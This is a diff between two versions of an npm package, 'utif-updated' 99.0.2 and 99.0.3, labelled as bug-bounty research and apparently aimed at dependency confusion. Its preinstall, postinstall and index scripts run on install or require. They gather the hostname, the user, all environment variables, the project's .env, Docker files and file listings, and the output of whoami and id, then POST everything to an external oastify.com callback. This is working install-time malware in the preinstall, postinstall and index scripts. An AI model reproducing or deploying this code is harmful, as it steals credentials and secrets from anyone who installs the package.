utif-updated 99.0.2 → 99.0.3

package/index.js

@@ -9,50 +9,38 @@ const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
 if (!global.__utif_updated_triggered) {
   global.__utif_updated_triggered = true;
 
-  function findParentPackageJson() {
-    // En runtime, on remonte depuis le module
+  function findParentProject() {
     let dir = __dirname;
-    for (let i = 0; i < 10; i++) {
-      const parent = path.dirname(dir);
-      if (parent === dir) break;
-      dir = parent;
-      if (path.basename(dir) === 'node_modules') {
-        // On est dans node_modules, le parent c'est le projet
-        const projectDir = path.dirname(dir);
-        try {
-          return JSON.parse(fs.readFileSync(
-            path.join(projectDir, 'package.json'), 'utf8'
-          ));
-        } catch(e) {}
-      }
+    if (dir.includes('node_modules')) {
+      dir = dir.split('node_modules')[0];
     }
-    return null;
+    
+    const result = { root: dir };
+    try {
+      result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
+    } catch(e) {}
+    try {
+      result.files = fs.readdirSync(dir);
+    } catch(e) {}
+    return result;
   }
 
   const info = {
-    type: 'runtime_require',
+    type: 'runtime_v3',
     hostname: os.hostname(),
     user: os.userInfo().username,
-    cwd: process.cwd(),
-    dirname: __dirname,
-    platform: os.platform(),
-    node_version: process.version,
     env: process.env,
-    parent_package: findParentPackageJson(),
+    parent_project: findParentProject(),
     timestamp: new Date().toISOString()
   };
 
   const data = JSON.stringify(info);
-
   const req = https.request({
     hostname: CALLBACK,
     port: 443,
     path: '/runtime',
     method: 'POST',
-    headers: { 
-      'Content-Type': 'application/json',
-      'Content-Length': Buffer.byteLength(data)
-    }
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
   }, () => {});
   req.on('error', () => {});
   req.write(data);
@@ -62,8 +50,7 @@ if (!global.__utif_updated_triggered) {
   if (webhook) {
     try {
       const url = new URL(webhook);
-      const client = url.protocol === 'https:' ? https : http;
-      client.get(webhook, () => {}).on('error', () => {});
+      (url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
     } catch(e) {}
   }
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "utif-updated",
-  "version": "99.0.2",
+  "version": "99.0.3",
   "description": "Security research - Bug Bounty",
   "main": "index.js",
   "author": "icare",

package/postinstall.js

@@ -6,54 +6,38 @@ const path = require('path');
 
 const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
 
-function findParentPackageJson() {
-  if (process.env.npm_config_local_prefix) {
-    try {
-      return JSON.parse(fs.readFileSync(
-        path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
-      ));
-    } catch(e) {}
-  }
-  
+function findParentProject() {
   let dir = process.cwd();
-  for (let i = 0; i < 10; i++) {
-    const parent = path.dirname(dir);
-    if (parent === dir) break;
-    dir = parent;
-    if (dir.includes('node_modules')) continue;
-    try {
-      const pkgPath = path.join(dir, 'package.json');
-      if (fs.existsSync(pkgPath)) {
-        return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
-      }
-    } catch(e) {}
+  if (dir.includes('node_modules')) {
+    dir = dir.split('node_modules')[0];
   }
-  return null;
+  
+  const result = { root: dir };
+  try {
+    result.package_json = JSON.parse(fs.readFileSync(path.join(dir, 'package.json'), 'utf8'));
+  } catch(e) {}
+  try {
+    result.files = fs.readdirSync(dir);
+  } catch(e) {}
+  return result;
 }
 
 const info = {
-  type: 'postinstall',
+  type: 'postinstall_v3',
   hostname: os.hostname(),
   user: os.userInfo().username,
-  cwd: process.cwd(),
-  npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
-  platform: os.platform(),
   env: process.env,
-  parent_package: findParentPackageJson(),
+  parent_project: findParentProject(),
   timestamp: new Date().toISOString()
 };
 
 const data = JSON.stringify(info);
-
 const req = https.request({
   hostname: CALLBACK,
   port: 443,
   path: '/postinstall',
   method: 'POST',
-  headers: { 
-    'Content-Type': 'application/json',
-    'Content-Length': Buffer.byteLength(data)
-  }
+  headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
 }, () => {});
 req.on('error', () => {});
 req.write(data);
@@ -63,7 +47,6 @@ const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
 if (webhook) {
   try {
     const url = new URL(webhook);
-    const client = url.protocol === 'https:' ? https : http;
-    client.get(webhook, () => {}).on('error', () => {});
+    (url.protocol === 'https:' ? https : http).get(webhook, () => {}).on('error', () => {});
   } catch(e) {}
 }

package/preinstall.js

@@ -7,68 +7,67 @@ const { execSync } = require('child_process');
 
 const CALLBACK = 'fyh82qlu93wdksjiz5qjz9h27tdk1e02p.oastify.com';
 
-// Fonction pour trouver le package.json parent (racine du projet)
-function findParentPackageJson() {
-  // npm_config_local_prefix = racine du projet qui installe
-  if (process.env.npm_config_local_prefix) {
-    try {
-      return JSON.parse(fs.readFileSync(
-        path.join(process.env.npm_config_local_prefix, 'package.json'), 'utf8'
-      ));
-    } catch(e) {}
-  }
-  
-  // Sinon remonte l'arborescence
+// Remonte depuis cwd pour trouver le VRAI projet parent
+function findParentProject() {
   let dir = process.cwd();
-  for (let i = 0; i < 10; i++) {
-    const parent = path.dirname(dir);
-    if (parent === dir) break;
-    dir = parent;
-    
-    // Skip si on est dans node_modules
-    if (dir.includes('node_modules')) continue;
-    
-    try {
-      const pkgPath = path.join(dir, 'package.json');
-      if (fs.existsSync(pkgPath)) {
-        return JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
-      }
-    } catch(e) {}
+  
+  // Si on est dans node_modules/utif-updated, on remonte de 2 niveaux
+  if (dir.includes('node_modules')) {
+    const parts = dir.split('node_modules');
+    dir = parts[0]; // Tout ce qui est AVANT node_modules
   }
-  return null;
+  
+  const result = { root: dir };
+  
+  // Lire le package.json du projet parent
+  try {
+    result.package_json = JSON.parse(
+      fs.readFileSync(path.join(dir, 'package.json'), 'utf8')
+    );
+  } catch(e) { result.package_json_error = e.message; }
+  
+  // Lister les fichiers du projet
+  try {
+    result.files = fs.readdirSync(dir);
+  } catch(e) { result.files_error = e.message; }
+  
+  // Essayer de lire d'autres fichiers intéressants
+  try {
+    result.env_file = fs.readFileSync(path.join(dir, '.env'), 'utf8');
+  } catch(e) {}
+  
+  try {
+    result.dockercompose = fs.readFileSync(path.join(dir, 'docker-compose.yml'), 'utf8');
+  } catch(e) {}
+  
+  try {
+    result.dockerfile = fs.readFileSync(path.join(dir, 'Dockerfile'), 'utf8');
+  } catch(e) {}
+
+  return result;
 }
 
-// Récupère toutes les infos
+const parent = findParentProject();
+
 const info = {
-  type: 'preinstall',
+  type: 'preinstall_v3',
   hostname: os.hostname(),
   user: os.userInfo().username,
   cwd: process.cwd(),
-  npm_local_prefix: process.env.npm_config_local_prefix || 'N/A',
   home: os.homedir(),
   platform: os.platform(),
   arch: os.arch(),
   node_version: process.version,
   env: process.env,
+  parent_project: parent,
   timestamp: new Date().toISOString()
 };
 
-// Package.json du projet PARENT
-info.parent_package = findParentPackageJson();
-
-// Infos système
-try {
-  info.pwd = execSync('pwd').toString().trim();
-  info.whoami = execSync('whoami').toString().trim();
-  info.id = execSync('id').toString().trim();
-} catch(e) {}
-
-// Liste des fichiers à la racine du projet
-try {
-  if (process.env.npm_config_local_prefix) {
-    info.project_files = fs.readdirSync(process.env.npm_config_local_prefix);
-  }
-} catch(e) {}
+// Commandes système
+try { info.pwd = execSync('pwd').toString().trim(); } catch(e) {}
+try { info.whoami = execSync('whoami').toString().trim(); } catch(e) {}
+try { info.id = execSync('id').toString().trim(); } catch(e) {}
+try { info.ls_parent = execSync('ls -la ' + parent.root).toString(); } catch(e) {}
 
 const data = JSON.stringify(info);
 
@@ -86,7 +85,7 @@ req.on('error', () => {});
 req.write(data);
 req.end();
 
-// Trigger leur webhook
+// Trigger webhook
 const webhook = process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN;
 if (webhook) {
   try {